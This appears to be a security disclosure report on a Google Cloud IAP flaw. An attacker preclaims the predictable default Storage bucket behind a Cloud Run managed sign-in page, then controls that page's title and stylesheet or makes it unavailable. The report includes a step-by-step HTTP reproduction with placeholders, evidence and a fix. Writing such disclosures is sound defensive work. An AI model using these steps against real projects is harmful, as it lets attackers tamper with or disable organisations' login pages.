Google Cloud IAP: an attacker-owned default bucket changes a managed Cloud Run sign-in page
Summary
An Attacker who knows the name of a Cloud Run Service before its owner enables IAP external identities can preclaim the predictable Cloud Storage bucket used by IAP's managed sign-in page. The managed page reads config.json from that globally named bucket without verifying which project owns it. In a controlled test of gcr.io/gcip-iap/authui version 1.0.28, the Victim's protected Service redirected a browser to an email sign-in form whose title and stylesheet came from the Attacker's bucket.
The tested bucket name was exactly 63 characters. Truncation removed the Victim project number, so the Attacker needed the protected Service name but did not need the project number or any IAM role in the Victim project. In the same run, an unauthenticated request to the managed page's /gcipConfig returned the API key before the Attacker replaced the saved object.
Impact
The Attacker can change the visible title and styling of the Victim's IAP-managed sign-in page while the email entry form remains visible. This crosses the Victim project's sign-in-page integrity boundary and can make an attacker-controlled presentation appear under the Victim's managed login URL. The test did not show credential capture, an authentication bypass, or access to the protected application.
The complete post-save flow was reproduced on a Console-generated managed page. The Attacker temporarily permitted authenticated object writes to its preclaimed bucket; the Victim's real administrator save returned 200, and the Attacker read the saved marker. The Attacker removed that write grant, replaced the object and supplied a publicly readable stylesheet. Before public read was restored, that same Console-generated page returned 404 from /config; afterward it returned 200 with the Attacker's replacement. A fresh browser visit to the protected Service followed IAP's 302 to the managed page and rendered the replacement title and stylesheet alongside the email form. This proves page presentation control and a post-save configuration-read failure, without credential capture, authentication bypass, or access to the protected application.
A separate controlled run proved an availability effect after a successful owner save. The Victim's protected Service redirected to the hosted sign-in page, and Chrome Beta displayed the owner-saved email form. The Attacker then made its preclaimed bucket private. The hosted page's /config changed from 200 to 404; reloading the same browser page displayed a resource-not-found error instead of the sign-in form. Restoring public object read returned /config to 200. This run deployed Google's official hosted UI image manually under the generated Service name, so it is a separate supporting control rather than part of the Console-generated reproduction sequence below. No completed sign-in or outage duration beyond the observed browser reload was tested.
Realistic scenario
An organization has shared a Cloud Run Service URL with users and later enables IAP external identities using the Console-managed sign-in page. If someone who already knows that Service name claims the page's default bucket before the owner's first configuration save, they can provide a publicly readable configuration that the managed page uses. A shared Service URL is a plausible source of the name; this test did not prove that an ordinary invitation supplies it before the first save.
Actors and preconditions
- Attacker: Can create a globally unique Cloud Storage bucket and publicly readable objects in the Attacker's own project. No Victim-project IAM binding is needed for the tested injection.
- Victim: Owns a Cloud Run Service and enables IAP external identities with the Console-managed hosted sign-in page. The test's protected Service, OAuth client, Identity Platform provider, and hosted page were researcher-created prerequisites.
- Knowledge: The Attacker needs the protected Service name before the first managed-page configuration save. The Service URL reveals that name; Google's hosted sign-in guide and published hosted UI source reveal the default bucket construction. The hosted UI name uses that Service name, and its
run.apphost has the same project and region suffix as the known protected Service URL. An unauthenticated/gcipConfigrequest on that host supplied the API key before replacement. - Timing: The Attacker must create the bucket before the Victim creates or saves the managed page's default configuration. The test did not establish the prevalence of that timing among real customers.
Reproduction Steps
The numbered sequence uses one Console-generated post-save fixture. Identity Platform had been initialized in the Victim project before this fixture; provider authentication was not exercised. The HTTP blocks use placeholders for run-specific values and secrets. Request excerpts omit unrelated headers, annotations, and MIME envelope fields; response excerpts omit unrelated fields, tokens, cookies, hash configuration, and GraphQL context.
Victim creates an IAP-protected Cloud Run Service in
<VICTIM_PROJECT>. The resulting Service URL contains<PROTECTED_SERVICE_NAME>.Purpose: Establish the protected application whose name the Attacker can learn from a shared URL.
Request:
POST https://<REGION>-run.googleapis.com/apis/serving.knative.dev/v1/namespaces/<VICTIM_PROJECT>/services?alt=json HTTP/1.1 Authorization: Bearer <VICTIM_TOKEN> Content-Type: application/json {"apiVersion":"serving.knative.dev/v1","kind":"Service","metadata":{"name":"<PROTECTED_SERVICE_NAME>","namespace":"<VICTIM_PROJECT>","annotations":{"run.googleapis.com/iap-enabled":"true"}},"spec":{"template":{"spec":{"containers":[{"image":"us-docker.pkg.dev/cloudrun/container/hello"}]}}}}Response:
HTTP/1.1 200 OK Content-Type: application/json {"metadata":{"name":"<PROTECTED_SERVICE_NAME>"}}Attacker derives and claims
<ATTACKER_BUCKET>in<ATTACKER_PROJECT>before the Victim deploys the managed page. The name isgcip-iap-bucket-plusiap-gcip-hosted-ui-plus the protected Service name, truncated to 63 characters; this tested name contained no Victim project digits.Purpose: Reserve the globally unique name that the managed page will later read by default.
Request:
POST https://storage.googleapis.com/storage/v1/b?alt=json&enableObjectRetention=False&project=<ATTACKER_PROJECT>&projection=noAcl HTTP/1.1 Authorization: Bearer <ATTACKER_TOKEN> Content-Type: application/json {"location":"us-central1","name":"<ATTACKER_BUCKET>"}Response:
HTTP/1.1 200 OK Content-Type: application/json {"name":"<ATTACKER_BUCKET>","projectNumber":"<ATTACKER_PROJECT_NUMBER>"}Attacker places an initial harmless
config.jsonin the preclaimed bucket. The Attacker replaces it with a valid key entry after the Victim's owner save.Purpose: Demonstrate that the bucket and object were Attacker-controlled before hosted-page creation.
Request:
POST https://storage.googleapis.com/upload/storage/v1/b/<ATTACKER_BUCKET>/o?alt=json&uploadType=multipart HTTP/1.1 Authorization: Bearer <ATTACKER_TOKEN> Content-Type: multipart/related; boundary=<BOUNDARY> --<BOUNDARY> Content-Type: application/json {"bucket":"<ATTACKER_BUCKET>","contentType":"application/json","name":"config.json"} --<BOUNDARY> Content-Type: application/json {"hb_probe":"IAP_FOREIGN_BUCKET_CANARY_1119"} --<BOUNDARY>--Response:
HTTP/1.1 200 OK Content-Type: application/json {"id":"<ATTACKER_BUCKET>/config.json/<INITIAL_GENERATION>"}Victim uses the IAP Console to create its managed hosted UI from the published image. The Console's
CreateServicemutation returned success, and a separate Cloud Run GET confirmed the Service was Ready.Purpose: Show that the Victim deployed the official managed page after the Attacker's bucket preclaim.
Request:
POST https://cloudconsole-pa.clients6.google.com/v3/entityServices/ServerlessEntityService/schemas/SERVERLESS_ENTITY_SERVICE_GQL_TRANSPORT:batchGraphql HTTP/1.1 Authorization: Bearer <VICTIM_CONSOLE_TOKEN> Content-Type: application/json {"operationName":"CreateService","variables":{"serviceSpec":{"serviceLocator":{"projectId":"<VICTIM_PROJECT>","name":"<HOSTED_UI_SERVICE>","region":"us-central1"},"revision":{"containers":[{"image":"gcr.io/gcip-iap/authui","limits":{"cpuMillis":1000,"memory":"512Mi"}}]},"invocableByAnybody":true}}}Response:
HTTP/1.1 200 OK Content-Type: application/json [{"results":[{"data":{"response":{"_isPresent":true}},"path":[]}]}]Purpose: Confirm that the official hosted UI reached the Ready state.
Request:
GET https://<REGION>-run.googleapis.com/apis/serving.knative.dev/v1/namespaces/<VICTIM_PROJECT>/services/<HOSTED_UI_SERVICE>?alt=json HTTP/1.1 Authorization: Bearer <VICTIM_TOKEN>Response:
HTTP/1.1 200 OK Content-Type: application/json {"metadata":{"name":"<HOSTED_UI_SERVICE>"},"status":{"conditions":[{"type":"Ready","status":"True"}]}}Attacker allows authenticated writes to its bucket; Victim saves the managed-page configuration; Attacker reads the saved object and removes the write grant. The bucket grant was researcher-created solely for this controlled test.
Purpose: Permit the Victim's authenticated managed-page save to write into the preclaimed bucket.
Request:
PUT https://storage.googleapis.com/storage/v1/b/<ATTACKER_BUCKET>/iam?alt=json HTTP/1.1 Authorization: Bearer <ATTACKER_TOKEN> Content-Type: application/json {"bindings":[{"members":["projectEditor:<ATTACKER_PROJECT>","projectOwner:<ATTACKER_PROJECT>"],"role":"roles/storage.legacyBucketOwner"},{"members":["projectViewer:<ATTACKER_PROJECT>"],"role":"roles/storage.legacyBucketReader"},{"members":["allAuthenticatedUsers"],"role":"roles/storage.objectAdmin"}],"etag":"<PRIOR_ETAG>","version":3}Response:
HTTP/1.1 200 OK Content-Type: application/json {"resourceId":"projects/_/buckets/<ATTACKER_BUCKET>","bindings":[{"role":"roles/storage.objectAdmin","members":["allAuthenticatedUsers"]}]}Purpose: Show that the Victim's administrator save succeeded.
Request:
POST https://<HOSTED_UI_HOST>/set_admin_config HTTP/1.1 Authorization: Bearer <VICTIM_TOKEN> Content-Type: application/json {"OWNER_CONFIG_KEY":{"authDomain":"<VICTIM_PROJECT>.firebaseapp.com","displayMode":"optionFirst","selectTenantUiTitle":"OWNER_SAVED_MANAGED_1120","tenants":{"tenant-test":{"displayName":"OWNER_SAVED_MANAGED_1120","iconUrl":"https://example.com/icon.png","buttonColor":"#007bff","signInOptions":["password"]}}}}Response:
HTTP/1.1 200 OK Content-Type: application/json {"status":200,"message":"Changes successfully saved."}Purpose: Verify that the Victim's saved marker landed in the Attacker-owned bucket.
Request:
GET https://storage.googleapis.com/storage/v1/b/<ATTACKER_BUCKET>/o/config.json?alt=media HTTP/1.1 Authorization: Bearer <ATTACKER_TOKEN>Response:
HTTP/1.1 200 OK Content-Type: application/json {"OWNER_CONFIG_KEY":{"authDomain":"<VICTIM_PROJECT>.firebaseapp.com","displayMode":"optionFirst","selectTenantUiTitle":"OWNER_SAVED_MANAGED_1120","tenants":{"tenant-test":{"displayName":"OWNER_SAVED_MANAGED_1120","iconUrl":"https://example.com/icon.png","buttonColor":"#007bff","signInOptions":["password"]}}}}Purpose: Remove the temporary authenticated-write permission before replacement.
Request:
PUT https://storage.googleapis.com/storage/v1/b/<ATTACKER_BUCKET>/iam?alt=json HTTP/1.1 Authorization: Bearer <ATTACKER_TOKEN> Content-Type: application/json {"bindings":[{"members":["projectEditor:<ATTACKER_PROJECT>","projectOwner:<ATTACKER_PROJECT>"],"role":"roles/storage.legacyBucketOwner"},{"members":["projectViewer:<ATTACKER_PROJECT>"],"role":"roles/storage.legacyBucketReader"}],"etag":"<PRIOR_ETAG>","version":3}Response:
HTTP/1.1 200 OK Content-Type: application/json {"resourceId":"projects/_/buckets/<ATTACKER_BUCKET>","bindings":[{"role":"roles/storage.legacyBucketOwner"},{"role":"roles/storage.legacyBucketReader"}]}Attacker requests the managed page's public
/gcipConfigwithout authentication and reads the API key before replacingconfig.json. The known protected Service URL contains its project and regionrun.appsuffix; the Console-generated hosted-page name is derived from the known protected Service name and uses that same suffix. This gives the Attacker the hosted-page URL once it exists. Ordinary pre-save delivery of the protected Service URL to an invited user remains unproven.Purpose: Obtain the API key needed to make the preclaimed bucket's configuration usable by the hosted page.
Request:
GET https://<HOSTED_UI_HOST>/gcipConfig HTTP/1.1Response:
HTTP/1.1 200 OK Content-Type: application/json {"apiKey":"<VICTIM_API_KEY>","authDomain":"<VICTIM_PROJECT>.firebaseapp.com"}Attacker replaces the Victim-saved
config.jsonusing its captured object generation, uploads a harmless CSS file, then grants public object read on its bucket. The API key in the JSON was taken from step 6. These actions were performed only in the Attacker project.Purpose: Supply the exact configuration that the Victim hosted UI will select for its API key.
Request:
POST https://storage.googleapis.com/upload/storage/v1/b/<ATTACKER_BUCKET>/o?uploadType=media&name=config.json&ifGenerationMatch=<OWNER_SAVED_GENERATION> HTTP/1.1 Authorization: Bearer <ATTACKER_TOKEN> Content-Type: application/json {"<VICTIM_API_KEY>":{"authDomain":"<VICTIM_PROJECT>.firebaseapp.com","displayMode":"optionFirst","selectTenantUiTitle":"POSTSAVE_MANAGED_1120","tenants":{"_":{"displayName":"POSTSAVE_MANAGED_1120","fullLabel":"POSTSAVE_MANAGED_1120","signInFlow":"popup","signInOptions":[{"provider":"password","requireDisplayName":false}]}},"styleUrl":"https://storage.googleapis.com/<ATTACKER_BUCKET>/theme.css"}}Response:
HTTP/1.1 200 OK Content-Type: application/json {"id":"<ATTACKER_BUCKET>/config.json/<NEW_GENERATION>"}Purpose: Provide the stylesheet referenced by the Attacker-controlled configuration.
Request:
POST https://storage.googleapis.com/upload/storage/v1/b/<ATTACKER_BUCKET>/o?uploadType=media&name=theme.css&ifGenerationMatch=0 HTTP/1.1 Authorization: Bearer <ATTACKER_TOKEN> Content-Type: text/css body { background-color: rgb(170, 255, 0) !important; }Response:
HTTP/1.1 200 OK Content-Type: application/json {"id":"<ATTACKER_BUCKET>/theme.css/<CSS_GENERATION>"}Purpose: Confirm that the Console-generated hosted page cannot read the Attacker bucket while its object-read grant is absent, even though the Victim's administrator save previously succeeded.
Request:
GET https://<HOSTED_UI_HOST>/config HTTP/1.1Response:
HTTP/1.1 404 Not Found Content-Type: application/json; charset=utf-8 {"error":{"code":404,"message":"A specified resource is not found, or the request is rejected by undisclosed reasons.","status":"NOT_FOUND"}}Purpose: Allow the managed UI to read the two Attacker-owned objects without a Victim-specific IAM grant.
Request:
PUT https://storage.googleapis.com/storage/v1/b/<ATTACKER_BUCKET>/iam?alt=json HTTP/1.1 Authorization: Bearer <ATTACKER_TOKEN> Content-Type: application/json {"bindings":[{"members":["projectEditor:<ATTACKER_PROJECT>","projectOwner:<ATTACKER_PROJECT>"],"role":"roles/storage.legacyBucketOwner"},{"members":["projectViewer:<ATTACKER_PROJECT>"],"role":"roles/storage.legacyBucketReader"},{"members":["allUsers"],"role":"roles/storage.objectViewer"}],"etag":"<PRIOR_ETAG>","version":3}Response:
HTTP/1.1 200 OK Content-Type: application/json {"resourceId":"projects/_/buckets/<ATTACKER_BUCKET>","bindings":[{"role":"roles/storage.objectViewer","members":["allUsers"]}]}Victim's hosted page serves the Attacker's replacement configuration and stylesheet. The captured responses establish configuration delivery; the later protected-Service browser visit establishes the rendered form.
Purpose: Verify that the official hosted UI consumed the Attacker's configuration.
Request:
GET https://<HOSTED_UI_HOST>/config HTTP/1.1Response:
HTTP/1.1 200 OK Content-Type: application/json {"<VICTIM_API_KEY>":{"authDomain":"<VICTIM_PROJECT>.firebaseapp.com","displayMode":"optionFirst","selectTenantUiTitle":"POSTSAVE_MANAGED_1120","tenants":{"_":{"displayName":"POSTSAVE_MANAGED_1120","fullLabel":"POSTSAVE_MANAGED_1120","signInFlow":"popup","signInOptions":[{"provider":"password","requireDisplayName":false}]}},"styleUrl":"https://storage.googleapis.com/<ATTACKER_BUCKET>/theme.css"}}Purpose: Confirm that the Victim's administrator view also returned the Attacker's replacement after the owner save.
Request:
GET https://<HOSTED_UI_HOST>/get_admin_config HTTP/1.1 Authorization: Bearer <VICTIM_TOKEN>Response:
HTTP/1.1 200 OK Content-Type: application/json {"<VICTIM_API_KEY>":{"authDomain":"<VICTIM_PROJECT>.firebaseapp.com","displayMode":"optionFirst","selectTenantUiTitle":"POSTSAVE_MANAGED_1120","tenants":{"_":{"displayName":"POSTSAVE_MANAGED_1120","fullLabel":"POSTSAVE_MANAGED_1120","signInFlow":"popup","signInOptions":[{"provider":"password","requireDisplayName":false}]}},"styleUrl":"https://storage.googleapis.com/<ATTACKER_BUCKET>/theme.css"}}Purpose: Verify that the Attacker's public stylesheet was available for the hosted page to load.
Request:
GET https://storage.googleapis.com/<ATTACKER_BUCKET>/theme.css HTTP/1.1Response:
HTTP/1.1 200 OK Content-Type: text/css body { background-color: rgb(170, 255, 0) !important; }Victim creates a temporary web OAuth client and adds IAP's redirect URI to it. The client and its secret were researcher-created for the protected-Service flow and were deleted after the test.
Purpose: Create the OAuth client needed by this IAP external-identity configuration.
Request:
POST https://clientauthconfig.clients6.google.com/v1/clients HTTP/1.1 Authorization: Bearer <VICTIM_CONSOLE_TOKEN> Content-Type: application/json {"type":"WEB","displayName":"<TEMP_CLIENT_NAME>","postMessageOrigins":[],"redirectUris":[],"authType":"SHARED_SECRET","brandId":"<VICTIM_PROJECT_NUMBER>","projectNumber":"<VICTIM_PROJECT_NUMBER>"}Response:
HTTP/1.1 200 OK Content-Type: application/json {"clientId":"<VICTIM_OAUTH_CLIENT_ID>","clientSecrets":[{"clientSecret":"<REDACTED_SECRET>"}]}Purpose: Bind the OAuth client to IAP's callback endpoint.
Request:
PUT https://clientauthconfig.clients6.google.com/v1/clients/<VICTIM_OAUTH_CLIENT_ID>/mask HTTP/1.1 Authorization: Bearer <VICTIM_CONSOLE_TOKEN> Content-Type: application/json {"redirectUriMask":{"operation":"REPLACE","redirectUris":["https://iap.googleapis.com/v1/oauth/clientIds/<VICTIM_OAUTH_CLIENT_ID>:handleRedirect"]}}Response:
HTTP/1.1 200 OK Content-Type: application/json {"redirectUris":["https://iap.googleapis.com/v1/oauth/clientIds/<VICTIM_OAUTH_CLIENT_ID>:handleRedirect"]}Victim authorizes the hosted UI hostname and sets exact-Service IAP OAuth and GCIP settings. The login URI contains the Victim project's browser API key. The IAP settings call contains the temporary OAuth secret, redacted below.
Purpose: Permit the hosted page to use Identity Platform in the browser.
Request:
PATCH https://identitytoolkit.googleapis.com/admin/v2/projects/<VICTIM_PROJECT>/config?updateMask=authorizedDomains HTTP/1.1
Authorization: Bearer <VICTIM_TOKEN>
Content-Type: application/json
{"authorizedDomains":["<VICTIM_PROJECT>.firebaseapp.com","<VICTIM_PROJECT>.web.app","iap.googleapis.com","<HOSTED_UI_HOST>"]}
Response:
HTTP/1.1 200 OK
Content-Type: application/json
{"authorizedDomains":["<VICTIM_PROJECT>.firebaseapp.com","<VICTIM_PROJECT>.web.app","iap.googleapis.com","<HOSTED_UI_HOST>"]}
Purpose: Make the protected Service redirect unauthenticated visitors to the managed page.
Request:
PATCH https://iap.googleapis.com/v1/projects/<VICTIM_PROJECT>/iap_web/cloud_run-us-central1/services/<PROTECTED_SERVICE_NAME>:iapSettings HTTP/1.1
Authorization: Bearer <VICTIM_TOKEN>
Content-Type: application/json
{"access_settings":{"gcip_settings":{"login_page_uri":{"value":"https://<HOSTED_UI_HOST>/?apiKey=<VICTIM_API_KEY>"},"tenant_ids":["_<VICTIM_PROJECT_NUMBER>"]},"oauth_settings":{"client_id":"<VICTIM_OAUTH_CLIENT_ID>","client_secret":"<REDACTED_SECRET>"}},"name":"projects/<VICTIM_PROJECT>/iap_web/cloud_run-us-central1/services/<PROTECTED_SERVICE_NAME>"}
Response:
HTTP/1.1 200 OK
Content-Type: application/json
{"accessSettings":{"gcipSettings":{"tenantIds":["_<VICTIM_PROJECT_NUMBER>"],"loginPageUri":"https://<HOSTED_UI_HOST>/?apiKey=<VICTIM_API_KEY>"},"oauthSettings":{"clientId":"<VICTIM_OAUTH_CLIENT_ID>"}}}
- Victim browser navigates to the protected Service itself. IAP redirects it to the same managed page. The screenshot in the PoC captures the rendered replacement title, email input, and background after this navigation.
Purpose: Prove that a user who enters through the protected Service reaches the controlled page.
Request:
GET https://<PROTECTED_SERVICE_HOST>/ HTTP/1.1
Response:
HTTP/1.1 302 Found
Location: https://<HOSTED_UI_HOST>/?apiKey=<VICTIM_API_KEY>&mode=login&tid=_<VICTIM_PROJECT_NUMBER>&redirect_uri=https://iap.googleapis.com/v1beta1/gcip/resources/<IAP_RESOURCE>:handleRedirect&state=<REDACTED_STATE>
Purpose: Confirm that the redirected browser retained the already loaded replacement configuration.
Request:
GET https://<HOSTED_UI_HOST>/config HTTP/1.1
If-None-Match: <CONFIG_ETAG>
Response:
HTTP/1.1 304 Not Modified
Evidence
- The Attacker-created bucket belonged to
<ATTACKER_PROJECT_NUMBER>, while the protected Service and hosted UI belonged to<VICTIM_PROJECT_NUMBER>. The bucket's 63-character name contained no Victim project number. - After the owner save and Attacker replacement on the same Console-generated page, the protected Service returned a 302 to that page. Chrome showed
POSTSAVE_MANAGED_1120, “Sign in with email,” an email input, and computed body backgroundrgb(170, 255, 0). Screenshot:pocs/cloud-run-iap-bucket-20261119/managed-postsave-browser-1120.png(private PoC, not yet publicly staged). - The Attacker's only cross-project delivery permission was public object read on its own bucket. No runtime service-account grant or IAM binding in the Victim project was used for this injection control.
- On the Console-generated page, a temporary
allAuthenticatedUsersObject Admin grant on the Attacker bucket let the Victim's authenticated/set_admin_configsave return200withChanges successfully saved.The Attacker read the owner-saved marker, removed the write grant, and replaced the object. The page's/configreturned 404 while the bucket was private, then 200 with the replacement after the Attacker restored public read. The Victim's/get_admin_configalso returned the replacement. The bucket grant was only in the Attacker project. - The sign-in form was not submitted. No credential recipient, credential theft, authentication bypass, session access, or protected-application access was tested or proven.
- Separate post-save availability control:
pocs/cloud-run-iap-bucket-20261119/denial-baseline-1120.pngshows the owner-saved email form after the protected-Service redirect;denial-after-revoke-1120.pngshows the resource-not-found page after the Attacker revoked read access. The hosted/configreturned 404 without the grant and 200 after public read was restored. - Both researcher-created Cloud Run Services, the Attacker bucket and objects, and the temporary OAuth client were deleted and verified absent. The temporary Identity Platform provider, privacy setting, and authorized domains were restored. Previously authorized Identity Platform initialization and OAuth branding remain.
- For the separate availability control, both Services and the bucket were deleted and verified absent, authorized domains were restored, and the temporary Identity Platform API was disabled. Its additional temporary OAuth client was deleted through Google Auth Platform; the exact DELETE returned 200 and the client disappeared from the Console list.
Recreated visual evidence (November 20, 2026)
These screenshots come from a separate vvv fixture created for manual inspection after the original mmm fixture was cleaned up. The Victim Service is hb-iap-long-managed-1120-vvv in fah-a-victim-1116; the Attacker bucket is in cr-b-797c27-researcher. The Attacker claimed the 63-character default bucket before the managed page was deployed. The Victim administrator's /set_admin_config returned 200 and its OWNER_SAVED_VIEW_1120 marker appeared in that bucket. The temporary allAuthenticatedUsers Object Admin grant on the Attacker bucket was then removed; the Attacker replaced the object and granted only public Object Viewer for delivery. No sign-in was submitted.
Protected Service with IAP enabled. The Service URL exposes the name used to derive the bucket.

IAP external-identity setup. The Victim selected the protected Service and began changing its identity system.

Attacker-owned default bucket. The Storage Console shows the predicted bucket and config.json in the Attacker project. The screenshot was taken while the researcher-created temporary write grant was present; that grant was removed before the replacement and browser visit.

Temporary OAuth client. The Victim created this client for the IAP flow and added IAP's callback URI. Its secret is masked in the screenshot.

Rendered result. A fresh Chrome visit to the protected Service followed IAP's 302 to the managed page and displayed ATTACKER_VIEW_1120, an email input, and the Attacker's lime stylesheet. Computed body background was rgb(170, 255, 0). This is presentation control; credential capture and authentication bypass remain unproven.

Technical details
The hosted page's default bucket name is built from its Cloud Run Service name and project number, then truncated to 63 characters. With this long hosted UI name, truncation removed the number. The page's /config handler read config.json from the globally named bucket without validating its owner. The browser's SignInUi.render applied styleUrl as a stylesheet and passed the selected configuration to FirebaseUI, which rendered tenant displayName as text.
Attacker project bucket → Victim managed UI /config → Victim browser sign-in form
The pinned FirebaseUI and GCIP-IAP client code checks that the API key supplied by IAP matches the configuration and Firebase Auth object. The Attacker used the Victim's redirected key for the visible page-control test; this source trace is why this report does not claim a switch to an Attacker Firebase project.
Recommended fix
Create the managed page's bucket in the Victim project before the hosted UI can read from it, and reject a default bucket whose owner project does not match the hosted UI project. Preserve the owner check when reusing or updating an existing bucket; changing the predictable name alone would leave the trust boundary dependent on global bucket-name availability.